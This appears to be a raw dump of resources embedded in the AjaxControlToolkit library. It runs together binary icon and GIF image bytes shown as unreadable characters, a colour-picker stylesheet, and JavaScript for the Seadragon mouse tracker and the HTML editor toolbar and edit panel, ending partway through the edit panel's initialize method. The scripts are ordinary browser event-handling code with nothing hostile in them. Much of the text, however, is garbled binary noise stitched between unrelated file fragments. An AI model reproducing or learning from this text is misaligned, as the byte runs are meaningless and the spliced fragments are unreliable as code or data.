�����n���n���n���n���n���n���n�������n���n���n���n���n���n���n����������������������������n����������������������������n���������������������������n���������������������������n���������������������������n���������������������������n���������������������������n���������������������������n�����������������������������������������������n���������������������������������������������������n������������������������������������������������������������n�������������������������������������������n�����������������������������������������������������������n��������������������������������������������������n����������������������������������������������n��������������������������n��������������������������n��������������������������n��������������������������n��������������������������n��������������������������n��������������������������n��������������������������n��������������������������n�������������������������������n�������������������������������n���������������������������������������������������������������������������������������������������������������������������������������������������������������6   �& h�( @ ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������(  ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������6   �& h�( @ �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������{���v���r��~m��{i��ve��r`��n\��kY��gU�}dR�{bO�y`M�����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������}���y���w���s���o��}l��zh��ve��sa��p^��m[��jX��hU�~fS�|cP�zaN�y`M�����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������z���o��ve��mZ�}cQ�u\H�nT@�y`M��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������(  ����������������������������������������������������������������������������������������������������������������������������������������������~���t��yh��o]�fT�����������������������������������������������������������������������������������������������������������}���v��~n��ve��p^��jW�}dQ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������y��zh��kY�y`M������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������.ajax__colorPicker {}
.ajax__colorPicker_container {background-color:#fff;position:absolute;width:201px;overflow:hidden;}
.ajax__colorPicker_container table {border:1px solid #646464;}
.ajax__colorPicker_container table td div {width:10px;height:11px;cursor:crosshair;}GIF89a����������������������������������������������������������������������������������������������������������������������������������������������������ݳ��������������8i�At�c��c��s�Ɇ�̌�Ӛ�ܞ��������������)^�+`�2e�4g�7j�6h�?o�Eu�Z��f��l��q����ڪ�������Ҡ�ک�߫��������������������!�y,��y������������ #&'������$)-/������(.3������378��86UTH���/;��FN]]^V�Â39??>K?I^��bl�܂=
AAeL`]gorf]q���BB@]_^nws\j]m\����xS�	�S��قA
D�@��12h<d��$�"$D� �
2tq�Κ+"�tICG�(�0A�)XP�J�;E<p�0R�
GU|��u��,XL��AD��"F
p^�(��
'J��2h��Gj̀ᢅ�L��1�@;z�ء��
h̐!����{;p`X͝
�Ǝ��]kf��;�GIF89a����:���������������������������������������������������������������������������������������������������������������������������)^����!�?,���pH,��̆�l:�Ma'D*Y���U(B�\�x�Z2A�n���@F�	�Z���5B.8x�>����B26	:w:����B9;;������<w<����B0		>�~��	B
>��B� !! B�*)(&#!��BS�.0�.,($"<���C�+�(��O�#�x(1�E���H�h�
!$V�X#`#�8pܰQ�F3d��"�8@� Q�+k0 �
j)XʔW���H�;$GIF89a��������`x�@`����`p����bw�Rcs���v�����p������t��`x����:Iv��������������333���������!�,�`'�di�\��l+�p�ƴ:�V�����p��,��r�tlR7q*4�,��i�=S�2���`�ns�A0IgDl
�ZQ	zx�mn��zx�|���x��l���x�T���x���O��x�����x�����x���'��!;�GIF89a����������iii�����렠�AAA�������������333������!�,J0�I���j���ݷ�Sc�&g�c:�@����}�>n>�bH���B��l2^Ψ#ڄR��v�@m�ZGbLNhq�;�GIF89a�?���������)����E��d��@��E��E��E�䚓O���S�����}M�r/���?��f���f���ϐ¾T�z1��t�ಶ���|pd���E�䗙�V���\Mx����x����{|~zd�ŝ�����rtw�����v�ύ���?�����D���������������������������!�?,���pH,���r�l
���3JUN��H��4'�y�J,+S%�,7I�
�!w�����pqP"	
PB�L �32>��B;��16,<<����#����B��-5/���B7��%)���B8��*����8B9���:���B�����:B=���������G��A;�GIF89a�������������������������������333���!�,���I��"�ͻ�`���6�K���-A/�ɐp�-�+��� ���8�Y�f$΢�([F��� �]���4�(�V��\���KHn3�|��+�zP�9*���P�0U���P�s*��P��UU��P�����c�����;�GIF89a����������p��s�����������������Kw�Ny�]��a��������:l�=n�������r��t��d��f��[��\��X�����������������������������������֭�����iiiAAA333���!�-,���pH,��r�l6��T
�Z�ի5�dy�^j+�\��@JEfr��hZw�����j�����i�� U%��%i��P�����P$��&`���P#��#"���P"�������P!�

��P  
	��P�����B����G��A;�GIF89a�?�����������������������������������������������������������������������������������������������������������������������������)^��������!�?,�pH,��f�l:�M!�#Y���U*�T�x�R��`�n�p!����|>��4>����=<B.26z�x6�B5
78::��87��9��9�B,<�����B��B
�ȳB�zBS#��B#&�y#!!B#+-��'B"(-02345443dĀ1 �-��h�_�E,*P�_�Y��X	B��+��#(S;IGIF89a�;;;:::&&&888111���!�,�3[�i�=B��N;;GIF89a����!��,(�A��8��B
*�;5GIF89a��������!�,��-;�=Type.registerNamespace('AjaxControlToolkit.Seadragon');
Type.registerNamespace('Seadragon'); (function() {

	// DUPLICATION CHECK -- necessary here because of private static state
	if (Seadragon.MouseTracker) {
		return;
	}

	// Constants

	var isIE = Seadragon.Utils.getBrowser() == Seadragon.Browser.IE;

	// Static fields

	var buttonDownAny = false;

	var ieCapturingAny = false;
	var ieTrackersActive = {};      // dictionary from hash to MouseTracker
	var ieTrackersCapturing = [];   // list of trackers interested in capture

	// Static helpers

	function getMouseAbsolute(event) {
		return Seadragon.Utils.getMousePosition(event);
	}

	function getMouseRelative(event, elmt) {
		var mouse = Seadragon.Utils.getMousePosition(event);
		var offset = Seadragon.Utils.getElementPosition(elmt);

		return mouse.minus(offset);
	}

	/**
	* Returns true if elmtB is a child node of elmtA, or if they're equal.
	*/
	function isChild(elmtA, elmtB) {
		var body = document.body;
		while (elmtB && elmtA != elmtB && body != elmtB) {
			try {
				elmtB = elmtB.parentNode;
			} catch (e) {
				// Firefox sometimes fires events for XUL elements, which throws
				// a "permission denied" error. so this is not a child.
				return false;
			}
		}
		return elmtA == elmtB;
	}

	function onGlobalMouseDown() {
		buttonDownAny = true;
	}

	function onGlobalMouseUp() {
		buttonDownAny = false;
	}

	// Static constructor

	(function() {
		// the W3C event model lets us listen to the capture phase of events, so
		// to know if the mouse is globally up or down, we'll listen to the
		// capture phase of the window's events. we can't do this in IE, so
		// we'll give it a best effort by listening to the regular bubble phase,
		// and on the document since window isn't legal in IE for mouse events.
		if (isIE) {
			Seadragon.Utils.addEvent(document, "mousedown", onGlobalMouseDown, false);
			Seadragon.Utils.addEvent(document, "mouseup", onGlobalMouseUp, false);
		} else {
			Seadragon.Utils.addEvent(window, "mousedown", onGlobalMouseDown, true);
			Seadragon.Utils.addEvent(window, "mouseup", onGlobalMouseUp, true);
		}
	})();

	// Class

	Seadragon.MouseTracker = function(elmt, clickTimeThreshold, clickDistThreshold) {

		// Fields

		var self = this;
		var ieSelf = null;

		var hash = Math.random();     // a unique hash for this tracker
		var elmt = Seadragon.Utils.getElement(elmt);

		var tracking = false;
		var capturing = false;
		var buttonDownElmt = false;
		var insideElmt = false;

		var lastPoint = null;           // position of last mouse down/move
		var lastMouseDownTime = null;   // time of last mouse down
		var lastMouseDownPoint = null;  // position of last mouse down
		var clickTimeThreshold = clickTimeThreshold;
		var clickDistThreshold = clickDistThreshold;

		// Properties

		this.target = elmt;
		this.enterHandler = null;       // function(tracker, position, buttonDownElmt, buttonDownAny)
		this.exitHandler = null;        // function(tracker, position, buttonDownElmt, buttonDownAny)
		this.pressHandler = null;       // function(tracker, position)
		this.releaseHandler = null;     // function(tracker, position, insideElmtPress, insideElmtRelease)
		this.clickHandler = null;       // function(tracker, position, quick, shift)
		this.dragHandler = null;        // function(tracker, position, delta, shift)
		

		// Helpers

		function startTracking() {
			if (!tracking) {
				Seadragon.Utils.addEvent(elmt, "mouseover", onMouseOver, false);
				Seadragon.Utils.addEvent(elmt, "mouseout", onMouseOut, false);
				Seadragon.Utils.addEvent(elmt, "mousedown", onMouseDown, false);
				Seadragon.Utils.addEvent(elmt, "mouseup", onMouseUp, false);
				Seadragon.Utils.addEvent(elmt, "click", onMouseClick, false);

				tracking = true;
				ieTrackersActive[hash] = ieSelf;
			}
		}

		function stopTracking() {
			if (tracking) {
				Seadragon.Utils.removeEvent(elmt, "mouseover", onMouseOver, false);
				Seadragon.Utils.removeEvent(elmt, "mouseout", onMouseOut, false);
				Seadragon.Utils.removeEvent(elmt, "mousedown", onMouseDown, false);
				Seadragon.Utils.removeEvent(elmt, "mouseup", onMouseUp, false);
				Seadragon.Utils.removeEvent(elmt, "click", onMouseClick, false);

				releaseMouse();
				tracking = false;
				delete ieTrackersActive[hash];
			}
		}

		function captureMouse() {
			if (!capturing) {
				// IE lets the element capture the mouse directly, but other
				// browsers use the capture phase on the highest element.
				if (isIE) {
					// we need to capture the mouse, but we also don't want to
					// handle mouseup like normally (special case for bubbling)
					Seadragon.Utils.removeEvent(elmt, "mouseup", onMouseUp, false);
					Seadragon.Utils.addEvent(elmt, "mouseup", onMouseUpIE, true);
					Seadragon.Utils.addEvent(elmt, "mousemove", onMouseMoveIE, true);
				} else {
					Seadragon.Utils.addEvent(window, "mouseup", onMouseUpWindow, true);
					Seadragon.Utils.addEvent(window, "mousemove", onMouseMove, true);
				}

				capturing = true;
			}
		}

		function releaseMouse() {
			if (capturing) {
				// similar reasoning as captureMouse()
				if (isIE) {
					// we need to release the mouse, and also go back to handling
					// mouseup like normal (no longer a hack for capture phase)
					Seadragon.Utils.removeEvent(elmt, "mousemove", onMouseMoveIE, true);
					Seadragon.Utils.removeEvent(elmt, "mouseup", onMouseUpIE, true);
					Seadragon.Utils.addEvent(elmt, "mouseup", onMouseUp, false);
				} else {
					Seadragon.Utils.removeEvent(window, "mousemove", onMouseMove, true);
					Seadragon.Utils.removeEvent(window, "mouseup", onMouseUpWindow, true);
				}

				capturing = false;
			}
		}

		// IE-specific helpers

		function triggerOthers(eventName, event) {
			// update: protecting against properties added to the Object class's
			// prototype, which can and does happen (e.g. through js libraries)
			var trackers = ieTrackersActive;
			for (var otherHash in trackers) {
				if (trackers.hasOwnProperty(otherHash) && hash != otherHash) {
					trackers[otherHash][eventName](event);
				}
			}
		}

		function hasMouse() {
			return insideElmt;
		}

		// Listeners

		function onMouseOver(event) {
			var event = Seadragon.Utils.getEvent(event);

			// IE capturing model doesn't raise or bubble the events on any
			// other element if we're capturing currently. so pass this event to
			// other elements being tracked so they can adjust if the element
			// was from them or from a child. however, IE seems to always fire
			// events originating from parents to those parents, so don't double
			// fire the event if the event originated from a parent.
			if (isIE && capturing && !isChild(event.srcElement, elmt)) {
				triggerOthers("onMouseOver", event);
			}

			// similar to onMouseOut() tricky bubbling case...
			var to = event.target ? event.target : event.srcElement;
			var from = event.relatedTarget ? event.relatedTarget : event.fromElement;
			if (!isChild(elmt, to) || isChild(elmt, from)) {
				// the mouseover needs to end on this or a child node, and it
				// needs to start from this or an outer node.
				return;
			}

			insideElmt = true;

			if (typeof (self.enterHandler) == "function") {
				try {
					self.enterHandler(self, getMouseRelative(event, elmt),
                            buttonDownElmt, buttonDownAny);
				} catch (e) {
					// handler threw an error, ignore
					Seadragon.Debug.error(e.name +
                            " while executing enter handler: " + e.message, e);
				}
			}
		}

		function onMouseOut(event) {
			var event = Seadragon.Utils.getEvent(event);

			// similar to onMouseOver() case for IE capture model
			if (isIE && capturing && !isChild(event.srcElement, elmt)) {
				triggerOthers("onMouseOut", event);
			}

			// we have to watch out for a tricky case: a mouseout occurs on a
			// child element, but the mouse is still inside the parent element.
			// the mouseout event will bubble up to us. this happens in all
			// browsers, so we need to correct for this. technique from:
			// http://www.quirksmode.org/js/events_mouse.html
			var from = event.target ? event.target : event.srcElement;
			var to = event.relatedTarget ? event.relatedTarget : event.toElement;
			if (!isChild(elmt, from) || isChild(elmt, to)) {
				// the mouseout needs to start from this or a child node, and it
				// needs to end on this or an outer node.
				return;
			}

			insideElmt = false;

			if (typeof (self.exitHandler) == "function") {
				try {
					self.exitHandler(self, getMouseRelative(event, elmt),
                            buttonDownElmt, buttonDownAny);
				} catch (e) {
					// handler threw an error, ignore
					Seadragon.Debug.error(e.name +
                            " while executing exit handler: " + e.message, e);
				}
			}
		}

		function onMouseDown(event) {
			var event = Seadragon.Utils.getEvent(event);

			// don't consider right-clicks (fortunately this is cross-browser)
			if (event.button == 2) {
				return;
			}

			buttonDownElmt = true;

			lastPoint = getMouseAbsolute(event);
			lastMouseDownPoint = lastPoint;
			lastMouseDownTime = new Date().getTime();

			if (typeof (self.pressHandler) == "function") {
				try {
					self.pressHandler(self, getMouseRelative(event, elmt));
				} catch (e) {
					// handler threw an error, ignore
					Seadragon.Debug.error(e.name +
                            " while executing press handler: " + e.message, e);
				}
			}

			if (self.pressHandler || self.dragHandler) {
				// if a press or drag handler is registered, don't drag-drop images, etc.
				Seadragon.Utils.cancelEvent(event);
			}

			if (!isIE || !ieCapturingAny) {
				captureMouse();
				ieCapturingAny = true;
				ieTrackersCapturing = [ieSelf];     // reset to empty & add us
			} else if (isIE) {
				ieTrackersCapturing.push(ieSelf);   // add us to the list
			}
		}

		function onMouseUp(event) {
			var event = Seadragon.Utils.getEvent(event);
			var insideElmtPress = buttonDownElmt;
			var insideElmtRelease = insideElmt;

			// don't consider right-clicks (fortunately this is cross-browser)
			if (event.button == 2) {
				return;
			}

			buttonDownElmt = false;

			if (typeof (self.releaseHandler) == "function") {
				try {
					self.releaseHandler(self, getMouseRelative(event, elmt),
                            insideElmtPress, insideElmtRelease);
				} catch (e) {
					// handler threw an error, ignore
					Seadragon.Debug.error(e.name +
                            " while executing release handler: " + e.message, e);
				}
			}

			// some browsers sometimes don't fire click events when we're also
			// listening for mouseup events. i'm not sure why, it could be
			// something i'm doing. in the meantime, this is a temporary fix.
			if (insideElmtPress && insideElmtRelease) {
				handleMouseClick(event);
			}
		}

		/**
		* Only triggered once by the deepest element that initially received
		* the mouse down event. We want to make sure THIS event doesn't bubble.
		* Instead, we want to trigger the elements that initially received the
		* mouse down event (including this one) only if the mouse is no longer
		* inside them. Then, we want to release capture, and emulate a regular
		* mouseup on the event that this event was meant for.
		*/
		function onMouseUpIE(event) {
			var event = Seadragon.Utils.getEvent(event);

			// don't consider right-clicks (fortunately this is cross-browser)
			if (event.button == 2) {
				return;
			}

			// first trigger those that were capturing
			for (var i = 0; i < ieTrackersCapturing.length; i++) {
				var tracker = ieTrackersCapturing[i];
				if (!tracker.hasMouse()) {
					tracker.onMouseUp(event);
				}
			}

			// then release capture and emulate a regular event
			releaseMouse();
			ieCapturingAny = false;
			event.srcElement.fireEvent("on" + event.type,
                    document.createEventObject(event));

			// make sure to stop this event -- shouldn't bubble up
			Seadragon.Utils.stopEvent(event);
		}

		/**
		* Only triggered in W3C browsers by elements within which the mouse was
		* initially pressed, since they are now listening to the window for
		* mouseup during the capture phase. We shouldn't handle the mouseup
		* here if the mouse is still inside this element, since the regular
		* mouseup handler will still fire.
		*/
		function onMouseUpWindow(event) {
			if (!insideElmt) {
				onMouseUp(event);
			}

			releaseMouse();
		}

		function onMouseClick(event) {
			// see onMouseUp() bug -- handleClick() is already called by
			// onMouseUp() as a temporary fix, so don't duplicate the call here.

			if (self.clickHandler) {
				// since a click handler was registered, don't follow href's, etc.
				Seadragon.Utils.cancelEvent(event);
			}
		}

		function handleMouseClick(event) {
			var event = Seadragon.Utils.getEvent(event);

			// don't consider right-clicks (fortunately this is cross-browser)
			if (event.button == 2) {
				return;
			}

			var time = new Date().getTime() - lastMouseDownTime;
			var point = getMouseAbsolute(event);
			var distance = lastMouseDownPoint.distanceTo(point);
			var quick = time <= clickTimeThreshold &&
                    distance <= clickDistThreshold;

			if (typeof (self.clickHandler) == "function") {
				try {
					self.clickHandler(self, getMouseRelative(event, elmt),
                            quick, event.shiftKey);
				} catch (e) {
					// handler threw an error, ignore
					Seadragon.Debug.error(e.name +
                            " while executing click handler: " + e.message, e);
				}
			}
		}

		function onMouseMove(event) {
			var event = Seadragon.Utils.getEvent(event);
			var point = getMouseAbsolute(event);
			var delta = point.minus(lastPoint);

			lastPoint = point;

			if (typeof (self.dragHandler) == "function") {
				try {
					self.dragHandler(self, getMouseRelative(event, elmt),
                            delta, event.shiftKey);
				} catch (e) {
					// handler threw an error, ignore
					Seadragon.Debug.error(e.name +
                            " while executing drag handler: " + e.message, e);
				}

				// since a drag handler was registered, don't allow highlighting, etc.
				Seadragon.Utils.cancelEvent(event);
			}
		}

		/**
		* Only triggered once by the deepest element that initially received
		* the mouse down event. Since no other element has captured the mouse,
		* we want to trigger the elements that initially received the mouse
		* down event (including this one).
		*/
		function onMouseMoveIE(event) {
			// manually trigger those that are capturing
			for (var i = 0; i < ieTrackersCapturing.length; i++) {
				ieTrackersCapturing[i].onMouseMove(event);
			}

			// make sure to stop this event -- shouldn't bubble up. note that at
			// the time of this writing, there is no harm in letting it bubble,
			// but a minor change to our implementation would necessitate this.
			Seadragon.Utils.stopEvent(event);
		}

		// Constructor

		(function() {
			ieSelf = {
				hasMouse: hasMouse,
				onMouseOver: onMouseOver,
				onMouseOut: onMouseOut,
				onMouseUp: onMouseUp,
				onMouseMove: onMouseMove
			};
		})();

		// Methods

		this.isTracking = function() {
			return tracking;
		};

		this.setTracking = function(track) {
			if (track) {
				startTracking();
			} else {
				stopTracking();
			}
		};

	};

})();xType.registerNamespace("AjaxControlToolkit.HTMLEditor.ToolbarButton");

AjaxControlToolkit.HTMLEditor.ToolbarButton.HorizontalSeparator = function(element) {
    AjaxControlToolkit.HTMLEditor.ToolbarButton.HorizontalSeparator.initializeBase(this, [element]);
}

AjaxControlToolkit.HTMLEditor.ToolbarButton.HorizontalSeparator.prototype = {
    
    isImage : function() {
        return false;
    }
}

AjaxControlToolkit.HTMLEditor.ToolbarButton.HorizontalSeparator.registerClass("AjaxControlToolkit.HTMLEditor.ToolbarButton.HorizontalSeparator", AjaxControlToolkit.HTMLEditor.ToolbarButton.DesignModeImageButton);

�Type.registerNamespace("AjaxControlToolkit.HTMLEditor");

AjaxControlToolkit.HTMLEditor.Toolbar = function(element) {
    AjaxControlToolkit.HTMLEditor.Toolbar.initializeBase(this, [element]);
    
    this._loaded = false;
    this._cachedButtonIds = null;
    this._cachedEditPanel = null;
    this._buttons = null;
    this._alwaysVisible = false;
    this._app_onload$delegate = Function.createDelegate(this, this._app_onload);
}

AjaxControlToolkit.HTMLEditor.Toolbar.prototype = {

    get_alwaysVisible : function() {
        return this._alwaysVisible;
    },
    set_alwaysVisible : function(value) {
        this._alwaysVisible = value;
        if (this.get_isInitialized()) {
            this.raisePropertyChanged("alwaysVisible");
        }
    },

    set_activeEditPanel : function(value) {
        if(!this._loaded) {
            this._cachedEditPanel = value;
            return;
        }
        for(var i=0; i < this.get_buttons().length; i++) {
            this.get_buttons()[i].set_activeEditPanel(value);
        }
    },
    
    disable : function() {
        if (this.get_isInitialized()) {
            if (this._alwaysVisible) {
                return;
            }
            for(var i=0; i < this.get_buttons().length; i++) {
                this.get_buttons()[i].set_activeEditPanel(null);
            }
        }
    },
    
    get_buttons : function() { 
        if (this._buttons == null) {
            this._buttons = [];
        }
        return this._buttons; 
    },
    set_buttons : function(value) { 
        this.get_buttons().push(value); 
    },
    
    get_buttonIds : function() { 
    },
    set_buttonIds : function(value) { 
        if (!this.get_isInitialized()) {
            this._cachedButtonIds = value;
            return;
        }
        var arr = value.split(";");
        for(var i=0; i < arr.length; i++) {
            if(arr[i].length > 0) {
                this.set_buttons($find(arr[i]));
            }
        }
    },
    
    initialize : function() {
        AjaxControlToolkit.HTMLEditor.Toolbar.callBaseMethod(this, "initialize");
        Sys.Application.add_load(this._app_onload$delegate);
    },
    
    dispose : function() {
        this._loaded = false;
        Sys.Application.remove_load(this._app_onload$delegate);
        AjaxControlToolkit.HTMLEditor.Toolbar.callBaseMethod(this, "dispose");
    },

    _app_onload : function(sender, e) {
        if (this._cachedButtonIds != null) {
            this.set_buttonIds(this._cachedButtonIds);
            this._cachedButtonIds = null;
        }
        
        this._loaded = true;
        if(this._cachedEditPanel != null) {
            this.set_activeEditPanel(this._cachedEditPanel);
            this._cachedEditPanel = null;
        }
    }
}

AjaxControlToolkit.HTMLEditor.Toolbar.registerClass("AjaxControlToolkit.HTMLEditor.Toolbar", Sys.UI.Control);
/YType.registerNamespace("AjaxControlToolkit.HTMLEditor");
AjaxControlToolkit.HTMLEditor.LastFocusedEditPanel = null;

AjaxControlToolkit.HTMLEditor.EditPanel = function(element) {
    AjaxControlToolkit.HTMLEditor.EditPanel.initializeBase(this, [element]);

    this._loaded = false;
    this._eAfter = null;
    this._toolbars = null;
    this._modePanels = null;
    this._contentChangedElement = null;
    this._contentElement = null;
    this._contentForceElement = null;
    this._activeModeElement = null;
    this._suppressTabInDesignMode = false;
    this._keyboardEnabled = true;
    this._noPaste = false;
    this._hotkeys = null;
    this._showAnchors = false;
    this._showPlaceHolders = false;
    this._startEnd = true;
    this._relativeImages = true;
    
    this._documentCssPath = null;
    this._designPanelCssPath = null;
    this._imagePath_1x1 = null;
    this._imagePath_flash = null;
    this._imagePath_media = null;
    this._imagePath_anchor = null;
    this._imagePath_placeHolder = null;
    this._autofocus = true;
    this._initialCleanUp = false;
    this._noScript = false;
    this._noUnicode = false;
    this._cachedToolbarIds = null;
    this._contentPrepared = false;    
    this._activeMode = null;
    this._pageRequestManager = null;
    this._formOnSubmitSaved = null;
    this._validators = null;

    this._app_onload$delegate = Function.createDelegate(this, this._app_onload);
    this._onsubmit$delegate = Function.createDelegate(this, this._onsubmit);
    this._disposed = true;
}

AjaxControlToolkit.HTMLEditor.EditPanel.prototype = {

    get_relativeImages: function() {
        return this._relativeImages;
    },
    set_relativeImages: function(value) {
        this._relativeImages = value;
        if (this._loaded) {
            this.raisePropertyChanged("relativeImages");
        }
    },

    get_startEnd: function() {
        return this._startEnd;
    },
    set_startEnd: function(value) {
        this._startEnd = value;
        if (this._loaded) {
            this.raisePropertyChanged("startEnd");
        }
    },

    get_showPlaceHolders: function() {
        return this._showPlaceHolders;
    },
    set_showPlaceHolders: function(value) {
        this._showPlaceHolders = value;
        if (this._loaded) {
            this.raisePropertyChanged("showPlaceHolders");
        }
    },

    get_showAnchors: function() {
        return this._showAnchors;
    },
    set_showAnchors: function(value) {
        this._showAnchors = value;
        if (this._loaded) {
            this.raisePropertyChanged("showAnchors");
        }
    },

    get_hotkeys: function() {
        return this._hotkeys;
    },
    set_hotkeys: function(value) {
        this._hotkeys = value;
        if (this._loaded) {
            this.raisePropertyChanged("noPaste");
        }
    },

    get_noPaste: function() {
        return this._noPaste;
    },
    set_noPaste: function(value) {
        this._noPaste = value;
        if (this._loaded) {
            this.raisePropertyChanged("noPaste");
        }
    },

    get_suppressTabInDesignMode: function() {
        return this._suppressTabInDesignMode;
    },
    set_suppressTabInDesignMode: function(value) {
        this._suppressTabInDesignMode = value;
        if (this._loaded) {
            this.raisePropertyChanged("suppressTabInDesignMode");
        }
    },

    get_keyboardEnabled: function() {
        return this._keyboardEnabled;
    },
    set_keyboardEnabled: function(value) {
        this._keyboardEnabled = value;
        if (this._loaded) {
            this.raisePropertyChanged("keyboardEnabled");
        }
    },

    get_noUnicode: function() {
        return this._noUnicode;
    },
    set_noUnicode: function(value) {
        this._noUnicode = value;
        if (this._loaded) {
            this.raisePropertyChanged("noUnicode");
        }
    },

    get_noScript: function() {
        return this._noScript;
    },
    set_noScript: function(value) {
        this._noScript = value;
        if (this._loaded) {
            this.raisePropertyChanged("noScript");
        }
    },

    get_initialCleanUp: function() {
        return this._initialCleanUp;
    },
    set_initialCleanUp: function(value) {
        this._initialCleanUp = value;
        if (this._loaded) {
            this.raisePropertyChanged("initialCleanUp");
        }
    },

    get_imagePath_1x1: function() {
        return this._imagePath_1x1;
    },
    set_imagePath_1x1: function(value) {
        this._imagePath_1x1 = value;
    },
    get_imagePath_flash: function() {
        return this._imagePath_flash;
    },
    set_imagePath_flash: function(value) {
        this._imagePath_flash = value;
    },
    get_imagePath_media: function() {
        return this._imagePath_media;
    },
    set_imagePath_media: function(value) {
        this._imagePath_media = value;
    },
    get_imagePath_anchor: function() {
        return this._imagePath_anchor;
    },
    set_imagePath_anchor: function(value) {
        this._imagePath_anchor = value;
    },
    get_imagePath_placeHolder: function() {
        return this._imagePath_placeHolder;
    },
    set_imagePath_placeHolder: function(value) {
        this._imagePath_placeHolder = value;
    },

    get_documentCssPath: function() {
        return this._documentCssPath;
    },
    set_documentCssPath: function(value) {
        this._documentCssPath = value;
        if (this._loaded) {
            this.raisePropertyChanged("documentCssPath");
        }
    },

    get_designPanelCssPath: function() {
        return this._designPanelCssPath;
    },
    set_designPanelCssPath: function(value) {
        this._designPanelCssPath = value;
        if (this._loaded) {
            this.raisePropertyChanged("designPanelCssPath");
        }
    },

    get_autofocus: function() {
        return this._autofocus;
    },
    set_autofocus: function(value) {
        this._autofocus = value;
        if (this._loaded) {
            this.raisePropertyChanged("autofocus");
        }
    },

    get_content: function() {
        if (this._activeMode == null) {
            if (this.get_contentElement() != null) {
                return this._getContentForPostback();
            }
            return "";
        }
        return this.getContent();
    },
    set_content: function(value) {
        if (!this.get_isInitialized() || !this._loaded) {
            if (this.get_contentElement() != null) {
                this.get_contentElement().value = value.replace(/\"/g, "&quot;");
            }
            return;
        }
        this.setContent(value);
        this._contentPrepared = false;
        if (this._loaded) {
            this.raisePropertyChanged("content");
        }
    },

    get_activeMode: function() {
        if (this._activeMode == null) {
            return AjaxControlToolkit.HTMLEditor.ActiveModeType.Design;
        }
        return this._activeMode;
    },
    set_activeMode: function(value) {
        if (!AjaxControlToolkit.HTMLEditor.ActiveModeType_checkValue(value)) {
            throw Error.argumentOutOfRange("value, function: AjaxControlToolkit.HTMLEditor.EditPanel.set_activeMode");
        }

        var oldMode = this._activeMode;
        var retval = true;
        if (this._loaded && oldMode != null && oldMode != value) {
            var eBefore = new AjaxControlToolkit.HTMLEditor.ActiveModeChangedArgs(oldMode, value, this);
            this.raiseBeforeActiveModeChanged(eBefore);

            this._eAfter = new AjaxControlToolkit.HTMLEditor.ActiveModeChangedArgs(oldMode, value, this);
            retval = this._setMode(value);
        } else {
            this._activeMode = value;
        }
        this.get_activeModeElement().value = value;
        return retval;
    },

    get_contentChangedElement: function() {
        return this._contentChangedElement;
    },
    set_contentChangedElement: function(value) {
        this._contentChangedElement = value;
    },

    get_contentElement: function() {
        return this._contentElement;
    },
    set_contentElement: function(value) {
        this._contentElement = value;
    },

    get_contentForceElement: function() {
        return this._contentForceElement;
    },
    set_contentForceElement: function(value) {
        this._contentForceElement = value;
    },

    get_activeModeElement: function() {
        return this._activeModeElement;
    },
    set_activeModeElement: function(value) {
        this._activeModeElement = value;
    },

    setCancelOnPostback: function() {
        if (this._loaded) {
            this.get_contentForceElement().value = "";
        }
    },
    setAcceptOnPostback: function() {
        if (this._loaded) {
            this.get_contentForceElement().value = "1";
        }
    },

    get_toolbars: function() {
        if (this._toolbars == null) {
            this._toolbars = [];
        }
        return this._toolbars;
    },
    set_toolbars: function(value) {
        this.get_toolbars().push(value);
    },

    get_toolbarIds: function() {
    },
    set_toolbarIds: function(value) {
        if (!this.get_isInitialized()) {
            this._cachedToolbarIds = value;
            return;
        }
        var arr = value.split(";");
        for (var i = 0; i < arr.length; i++) {
            if (arr[i].length > 0) {
                this.set_toolbars($find(arr[i]));
            }
        }
    },

    get_modePanels: function() {
        if (this._modePanels == null) {
            this._modePanels = [];
        }
        return this._modePanels;
    },
    set_modePanel: function(value) {
        this.get_modePanels().push(value);
    },

    get_modePanelIds: function() {
    },
    set_modePanelIds: function(value) {
        var arr = value.split(";");
        for (var i = 0; i < arr.length; i++) {
            this.set_modePanel($find(arr[i]));
        }
    },

    add_focused: function(handler) {
        this.get_events().addHandler("focused", handler);
    },
    remove_focused: function(handler) {
        this.get_events().removeHandler("focused", handler);
    },
    raiseFocused: function(e) {
        var eh = this.get_events().getHandler("focused");
        if (eh) {
            eh(this, e);
        }
    },

    add_activeModeChanged: function(handler) {
        this.get_events().addHandler("activeModeChanged", handler);
    },
    remove_activeModeChanged: function(handler) {
        this.get_events().removeHandler("activeModeChanged", handler);
    },
    raiseActiveModeChanged: function(e) {
        var eh = this.get_events().getHandler("activeModeChanged");
        if (eh) {
            eh(this, e);
        }
    },

    add_beforeActiveModeChanged: function(handler) {
        this.get_events().addHandler("beforeActiveModeChanged", handler);
    },
    remove_beforeActiveModeChanged: function(handler) {
        this.get_events().removeHandler("beforeActiveModeChanged", handler);
    },
    raiseBeforeActiveModeChanged: function(e) {
        var eh = this.get_events().getHandler("beforeActiveModeChanged");
        if (eh) {
            eh(this, e);
        }
    },

    get_activePanel: function() {
        var modePanel = this.get_modePanels()[this.get_activeMode()];
        if (modePanel == null || typeof modePanel == "undefined") {
            throw Error.argumentOutOfRange("activeMode, function: AjaxControlToolkit.HTMLEditor.EditPanel.get_activePanel");
        }
        return modePanel;
    },

    initialize: function() {
        this.__appLoaded__ = false;
        AjaxControlToolkit.HTMLEditor.EditPanel.callBaseMethod(this, "initialize");
